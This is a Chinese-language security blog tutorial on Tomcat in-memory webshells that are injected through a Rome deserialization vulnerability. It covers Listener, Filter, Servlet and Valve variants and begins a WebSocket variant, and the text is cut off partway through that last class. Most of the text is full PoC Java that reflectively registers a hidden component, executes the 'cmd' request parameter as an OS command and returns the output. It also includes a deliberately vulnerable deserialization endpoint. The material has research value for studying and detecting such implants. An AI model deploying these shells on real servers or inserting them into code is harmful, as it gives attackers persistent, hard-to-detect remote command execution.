Tomcat内存马

前言

本文对 Tomcat 的各种内存马进行了简单学习和整理,所给出的 PoC 代码均已通过反序列化注入的方式测试成功。

环境

引入依赖以及环境如下:

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <java.version>8</java.version>
        <tomcat.version>9.0.60</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
    </dependencies>

例子以 rome 的反序列化漏洞为例进行内存马的注入。反序列化入口点为:

@WebServlet(urlPatterns = "/un")
public class UnServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String payload = req.getParameter("payload");
        byte[] decode = Base64.getUrlDecoder().decode(payload);
        try(ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) {
            objectInputStream.readObject();
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

如果读者不懂 rome 漏洞的话,可以先去简单学习一下,或者我改天再整理整理。

Context

这里用一句话就可以大致概括 ServletContext 、ApplicationContext、StandardContext 三者的关系:

ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext

Listener 内存马

就先从最简单也最实用的 Listener 内存马开始介绍吧。

首先在 Listener 上下断点,然后观察一下调用栈。

idea64_hwZjzUCI03

分析 Listener 被调用:

先来看 StandardContext#fireRequestInitEvent(ServletRequest request) 这处,可以知道通过 getApplicationEventListeners 获取 Listeners 实例数组

idea64_0nLaHA6rYC

而跟进 getApplicationEventListeners 可以发现返回的是 applicationEventListenersList 属性转换的数组。applicationEventListenersList 是 StandardContext 的一个私有字段的 List<Object>

idea64_emcG9317SP

也就是说,只要我们能够在 StandardContext 的 applicationEventListenersList 添加一个 Listener 对象,那么就会被实例化

那么怎么获得 StandardContext 呢,我们不妨看看调用栈的上一层,也就是 StandardHostValve 是怎么调用的吧。

idea64_05jBzUAxli

用 IDEA 可以往上找几行很容易发现在 StandardHostValve 类中是用 request.getContext(); 获得 context 对象

idea64_0HpqVbtS9u

这下就明朗了,如果我们想要通过 StandardContext 添加恶意的 Listener,可以通过 request 对象来获得。但是我们怎么获得 request 对象呢?

ThreadLocal

参考前辈们的思路,可以发现在 org.apache.catalina.core.ApplicationFilterChain 中拥有 lastServicedRequest 和 lastServicedResponse 与当前线程相关的静态属性变量

idea64_WVifin7U20

并且该类的私有方法 internalDoFilter 会将 request 和 response 对象引用给 lastServicedRequest 和 lastServicedResponse

idea64_LXbJZ0jU7t

为了满足上面的 if 语句,我们可以通过反射操作修改 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,并且通过 ThreadLocal#set 方法将request和response对象存储到变量中,然后通过 ThreadLocal#get 方法将 request 和 response 对象从 lastServicedRequest 和 lastServicedResponse 中取出。

不过需要注意的是 WRAP_SAME_OBJECT 是被 final 修饰的,我们需要通过反射将 final 修饰符去掉。

idea64_hcx95kni8k

如下代码即可获得 StandardContext

    static {
        try {

            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            // 去掉 final 修饰符
            modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            WRAP_SAME_OBJECT.setAccessible(true);
            WRAP_SAME_OBJECT.setBoolean(null, true);


            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);

            if (lastServicedRequest.get(null) == null) {
                lastServicedRequest.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponse.get(null) == null) {
                lastServicedResponse.set(null, new ThreadLocal<>());
            }
            // 获得 standardContext
            ThreadLocal threadLocal;
            if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
                ServletRequest request = threadLocal.get();
                ServletContext servletContext = request.getServletContext();
                // ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext
                Field appContextField = servletContext.getClass().getDeclaredField("context");
                appContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
                Field standardContextField = applicationContext.getClass().getDeclaredField("context");
                standardContextField.setAccessible(true);
                StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

接下来我们要做的就是通过 ThreadLocal 取出保存在 lastServicedResponse 的 responese 对象,并添加恶意的 Listener 对象。下面给出完整的代码,重复注入两次即可成功。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;


import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/9/1 15:45
 */
public class ThreadLocalInject extends AbstractTranslet implements ServletRequestListener {
    public static ServletResponse response;
    static {
        try {
            Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
            Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
            Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

            Field modifiersField = Field.class.getDeclaredField("modifiers");
            modifiersField.setAccessible(true);
            // 去掉 final 修饰符
            modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);
            modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);

            WRAP_SAME_OBJECT.setAccessible(true);
            WRAP_SAME_OBJECT.setBoolean(null, true);


            lastServicedRequest.setAccessible(true);
            lastServicedResponse.setAccessible(true);

            if (lastServicedRequest.get(null) == null) {
                lastServicedRequest.set(null, new ThreadLocal<>());
            }

            if (lastServicedResponse.get(null) == null) {
                lastServicedResponse.set(null, new ThreadLocal<>());
            }
            ThreadLocal threadLocal;

            if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){
                ServletRequest request = (ServletRequest) threadLocal.get();
                ServletContext servletContext = request.getServletContext();
                Field appContextField = servletContext.getClass().getDeclaredField("context");
                appContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
                Field standardContextField = applicationContext.getClass().getDeclaredField("context");
                standardContextField.setAccessible(true);
                StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
                standardContext.addApplicationEventListener(new ThreadLocalInject());
            }

            ThreadLocal threadLocalResp;
            if ((threadLocalResp = (ThreadLocal) lastServicedResponse.get(null))!=null){
                response = (ServletResponse)threadLocalResp.get();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

这种方式构造虽然繁琐,但是可以获得回显。

firefox_Nczgmf2lgj

WebappClassLoaderBase

在 tomcat 8、9 中我们可以使用较为简便的方法获得 StandardContext。由于 tomcat 在处理线程的请求中存在 ContextLoader,而这个对象又保存了 StandardContext 所以可以很方便的获取。只需要下面这两行

        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

拥有 StandardContext 已经足够让我们注入 Listener 内存马了,不过我们还没有得到 response 对象。ThreadLocal 的方式既获得了 StandardContext 也顺便获得了 request 和 response 对象。参考大佬博客大概是通过获取 AbstractProcessor 类中的全局 Response,分析很复杂,我表示一时半会理解不了,修改了一下,最终得到如下的 POC。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

/**
 * @author Shule
 * CreateTime: 2023/9/1 18:53
 */
public class WebappClassLoaderBaseInject extends AbstractTranslet implements ServletRequestListener {
    public static ServletResponse response;
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        try {
            //获取ApplicationContext
            Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext);

            //获取StandardService
            Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            standardServiceField.setAccessible(true);
            StandardService standardService = (StandardService) standardServiceField.get(applicationContext);

            //获取Connector
            Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
            connectorsField.setAccessible(true);
            Connector[] connectors = (Connector[]) connectorsField.get(standardService);
            Connector connector = connectors[0];

            //获取Handler
            ProtocolHandler protocolHandler = connector.getProtocolHandler();
            Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler");
            handlerField.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

            //获取内部类AbstractProtocol$ConnectionHandler的global属性
            Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
            globalHandler.setAccessible(true);
            RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler);

            //获取processors
            Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsField.setAccessible(true);
            List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global);

            //获取request和response
            Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            requestField.setAccessible(true);
            for (RequestInfo requestInfo : requestInfoList){

                //获取org.apache.coyote.Request
                org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo);

                //通过org.apache.coyote.Request的Notes属性获取继承HttpServletRequest的org.apache.catalina.connector.Request
                org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
                response = http_request.getResponse();
            }
            standardContext.addApplicationEventListener(new WebappClassLoaderBaseInject());
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                response.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = response.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

通过反序列化注入一次即可成功

firefox_D5mAZBMt2J

Filter 内存马

在介绍 Filter 内存马之前,有几个重要的对象先要介绍一下,留个大体印象。

ApplicationFilterConfig (filterConfig)

ApplicationFilterConfig 对象在源码中的变量名为 filterConfig,在该对象中存有 StandardContext 和 FilterDef,并且可以通过 FilterDef 获得 Filter 对象

idea64_cfi5xvcGhl

还可以注意到这个类大体是对 FilterDef 和 context 的封装,毕竟很多地方都调用了 filterDef

idea64_oiXe4hJQLb

FilterDef (filterDef)

FilterDef 对象在源码中的变量名为 filterDef。在 FilterDef 只存储了 Filter 对象,但是包括 filterName、filterClass 的属性。顾名思义,该类是对 Filter 的封装并且增加了一些定义

idea64_jUQWjAa7YR

ApplicationFilterChain (filterChain)

ApplicationFilterChain 对象在源码中的变量名为 filterChain。在这个类中我们只需要注意其保存了一个 ApplicationFilterConfig 数组,变量名为 filters。

idea64_14EboVGQ3k

FilterMap

在这个对象中定义了确定了 filter 的名字与拦截路由的对应关系。主要有 filterName 和 urlPatterns 的属性。

idea64_XaYVP6XAcm

StandardContext (context)

StandardContext 对象在源码中的变量名常为 context。在介绍前面的内容时,我们已经比较熟悉 StandardContext 了,不过在这里我们要再来注意一下 context 中的内容。可以发现在 context 中可以存储了 ApplicationFilterConfig 和 filterMaps

idea64_yZYrnxQ2N4

分析

现在我们来分析一下 Filter 的调用栈:

idea64_SfefnvkG9I

我们首先来看 ApplicationFilterChain 的部分,可以发现最终通过 filter 的来拦截路由是从 filterConfig 中取出 filter 的。

idea64_QmLLwteyeo

而 filterConfig 又是从该类的 filters 属性也就是 ApplicationFilterConfig 数组中获得。

idea64_5WtALRXJor

我们再来看 StandardWrapperValve 的部分,可以看到代码定位在这一行

idea64_iRb5lbcOjZ

我们不妨接着往前看,这个 filterChain 是哪里来的。

再往上几行就可以看到,是调用了 createFilterChain 方法

idea64_iw2STEktkS

跟进 createFilterChain 分析一下

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
            ...
        // Create and initialize a filter chain object
            ...
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        ...

        ...
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

            ...

        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
            filterChain.addFilter(filterConfig);
        }

        // Add filters that match on servlet name second
        ...

        // Return the completed filter chain
        return filterChain;
    }

我省略了一些不太紧要的代码和 if 判断语句,也不难看出 createFilterChain 也就是创建 ApplicationFilterChain 主要有这几个步骤:

  1. FilterMap filterMaps[] = context.findFilterMaps(); 获取 FilterMap 对象,后续用于通过该对象中的 filtername 取出对应的 filterConfig
  2. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 取出 filterConfig
  3. filterChain.addFilter(filterConfig); # 也就是添加 ApplicationFilterConfig

既然已经发现可以从 context 中获得这些内容,我们也可同样的通过反射放入这些内容,实现 Filter 内存马的注入。步骤也大概如下:

  1. 创建一个恶意的 Filter 对象
  2. 将 Filter 封装到 FilterDef 中,再将 FilterDef 放到 context 并封装到 FilterConfig 中。
  3. 创建 FilterMap 对象并放到 context 中,确定 filterName 与 path 的关系。
  4. 将 FilterConfig 通过反射的方式注入到 context 的 filterconfigs 中。

这里需要注意第二步和第三步的顺序是不能改变的,原因是在还没有将 filter 放到 context 中 filterMap 是无法注册的,会有校验。

idea64_WMT4MLD5nP

校验如下:

idea64_d7Y8rcfZaR

至于怎么获得 context 用 Listener 中介绍的方法即可。

这里放上完整的 POC

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;


/**
 * @author Shule
 * CreateTime: 2023/9/4 11:23
 */
public class TomcatFilterInject extends AbstractTranslet implements Filter {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        TomcatFilterInject filter = new TomcatFilterInject();
        String filterName = "Poc";

        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.setFilterName(filterName);
        filterMap.addURLPattern("/*");
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMap(filterMap);

        try {
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            // 由于 ApplicationFilterConfig 的构造器修饰符是 default
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(filterName, filterConfig);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

将上述的类反序列化注入一次即可成功

firefox_ZO0W2WwFKZ

Servlet 内存马

研究学习了很久,还是一知半解。分析流程就不去细究了。直接动态记录一下注册 Servlet 的结论:

  1. 获取 StandardContext 对象
  2. 编写恶意Servlet
  3. 通过 StandardContext.createWrapper() 创建 StandardWrapper 对象
  4. 设置 StandardWrapper 对象的 loadOnStartup 属性值
  5. 设置 StandardWrapper 对象的 ServletName 属性值
  6. 设置 StandardWrapper 对象的 ServletClass 属性值
  7. 将 StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
  8. 通过 StandardContext.addServletMappingDecoded() 添加对应的路径映射

完整的 PoC 如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

/**
 * @author Shule
 * CreateTime: 2023/9/4 16:05
 */
public class TomcatInjectServlet extends AbstractTranslet implements Servlet {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        StandardWrapper standardWrapper = (StandardWrapper)standardContext.createWrapper();
        standardWrapper.setLoadOnStartup(1);
        TomcatInjectServlet evilServlet = new TomcatInjectServlet();
        String servletName = evilServlet.getClass().getSimpleName();
        standardWrapper.setServletName(servletName);
        standardWrapper.setServletClass(evilServlet.getClass().getName());
        standardWrapper.setServlet(evilServlet);
        standardContext.addChild(standardWrapper);
        standardContext.addServletMappingDecoded("/shell",servletName);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        servletResponse.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = servletResponse.getWriter();
        if (cmd !=null){
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

注入一次即可成功

firefox_ymPdWts3pl

Valve 内存马

我们知道 tomcat 中包含有四种子容器:Engine、Host、Context和Wrapper,在这四种容器之间的消息传递是通过 tomcat 的管道机制来实现,这个管道机制类似于 Java EE 中的过滤器(Filter)和拦截器(Interceptor)机制。

Tomcat 管道机制的主要组成部分和工作原理:

  1. Connector(连接器):连接器是 Tomcat 接受传入请求的组件。Tomcat 支持多种连接器,如 HTTP、AJP(Apache JServ Protocol)等。每个连接器负责监听特定的端口和协议。
  2. Container(容器):容器是一个 Servlet 容器,负责管理和执行 Servlet 和 JSP。Tomcat 中有多个容器,其中包括 Engine、Host 和 Context。Engine 表示整个 Tomcat 服务器,Host 表示虚拟主机,而 Context 表示 Web 应用程序上下文。
  3. Valve(阀门):阀门是用于处理请求和响应的组件,它们位于容器内部,沿着处理管道的路径执行。每个阀门都实现了 Valve 接口,可以进行自定义配置和扩展。Tomcat 有多个内置的阀门,如请求日志、安全性检查等。
  4. Pipeline(管道):管道是连接器、容器和阀门之间的交互机制。它定义了请求和响应在经过一系列阀门后的处理流程。Tomcat 的处理管道通常包括以下阶段:
  5. Request(请求)阶段:在这个阶段,请求首先经过连接器,然后进入容器,经过一系列请求阀门的处理。请求阶段可以包括身份验证、授权等任务。
  6. Container(容器)阶段:在这个阶段,容器负责查找适当的 Servlet 或 JSP 并执行它们。容器阶段不同于阀门,它是处理 Servlet 请求的核心部分。
  7. Response(响应)阶段:在容器阶段执行完后,响应进入管道的 Response 阶段,经过一系列响应阀门的处理。响应阶段可以包括内容压缩、响应头的添加等任务。

我们可以通过注册 Valve 进行内存马的注入。步骤如下:

  1. 创建恶意的 Valve,设置恶意的 invoke 代码
  2. 获取 StandardContext
  3. 从 StandardContext 中获取 Pipeline
  4. 将 Valve 注册到 Pipeline

完整 PoC 如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Contained;
import org.apache.catalina.Container;
import org.apache.catalina.Pipeline;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;


import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

/**
 * @author Shule
 * CreateTime: 2023/9/4 17:22
 */
public class TomcatInjectValve extends AbstractTranslet implements Contained, Valve {
    static {
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        Pipeline pipeline = standardContext.getPipeline();
        pipeline.addValve(new TomcatInjectValve());
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    @Override
    public Container getContainer() {
        return null;
    }

    @Override
    public void setContainer(Container container) {

    }

    @Override
    public Valve getNext() {
        return null;
    }

    @Override
    public void setNext(Valve valve) {

    }

    @Override
    public void backgroundProcess() {

    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd !=null){
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public boolean isAsyncSupported() {
        return false;
    }
}

注入一次即可成功,访问任意路径下均可

firefox_lFJZeOudyf

WebSocket 内存马

这是 veo 大佬研究出来的成果 https://github.com/veo/wsMemShell/

在测试环境的原本的 Maven 依赖中添加

        <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-websocket</artifactId>
            <version>${tomcat.version}</version>
        </dependency>

由于 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath下带有 @ServerEndpoint注解的类进行 addEndpoint加入websocket服务,因此我们也可也在服务启动后动态添加 WebSocket 服务。

而且非常简单只需要三步。创建一个ServerEndpointConfig,获取ws ServerContainer,加入 ServerEndpointConfig,即可

ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);

具体原理参考这里即可:https://xz.aliyun.com/t/11549#toc-3

这里直接使用下面的类,反序列化注入即可。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WsCmd extends AbstractTranslet {
    static {
        try {
